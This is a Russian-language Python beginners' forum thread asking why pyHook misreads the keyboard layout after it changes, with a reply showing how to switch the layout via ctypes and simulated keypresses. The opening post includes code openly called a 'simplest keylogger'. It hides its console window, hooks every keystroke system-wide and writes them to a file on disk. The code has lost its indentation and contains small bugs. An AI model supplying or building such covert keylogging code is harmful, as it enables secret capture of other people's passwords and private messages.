Найти - Пользователи
Полная версия: pyhook смена расскладки
Начало » Python для новичков » pyhook смена расскладки
1
lstdmi
При включение зависит какая расскладка была включена если “РУС” то вовремя работы программы уже пользователь набирает на “ENG” но event.key думает что соровно рус…
и подеи у каждого окна своя расскладка.. пытался найти решение не получилось..


вот находил вроде как что то сдеали решение но не получилось у меня

пример простейшего кейлогера

import win32api
import win32console
import win32gui
import pythoncom,pyHook
 
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
elisk
Простой способ самому ставить раскладку:
import win32api
import win32con
import ctypes
u = ctypes.windll.LoadLibrary("user32.dll")
pf = getattr(u, "GetKeyboardLayout")
numpf = pf(0)
ENG = 67699721
RUS = 68748313
#  Если стоит русская раскладка то переключаем на английскую
#  Переключение клавишами Shift+Ctrl
#  Если нужно Shift+Alt то вместо VK_CONTROL поставить VK_MENU
if numpf == RUS:
	win32api.keybd_event(win32con.VK_LSHIFT, 0, 0,0)
	win32api.keybd_event(win32con.VK_CONTROL, 0, 0,0)
	win32api.keybd_event(win32con.VK_LSHIFT, 0, win32con.KEYEVENTF_KEYUP, 0)
	win32api.keybd_event(win32con.VK_CONTROL, 0, win32con.KEYEVENTF_KEYUP, 0)
	print("switched on ENG")
else:
	print("default: ENG")
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB